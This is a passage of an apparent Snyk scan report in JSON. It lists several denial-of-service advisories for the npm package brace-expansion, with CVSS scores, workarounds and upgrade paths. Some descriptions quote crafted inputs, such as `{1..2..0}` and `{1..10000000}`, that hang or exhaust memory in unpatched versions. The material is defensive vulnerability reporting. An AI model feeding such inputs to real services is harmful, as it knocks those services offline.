\r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub 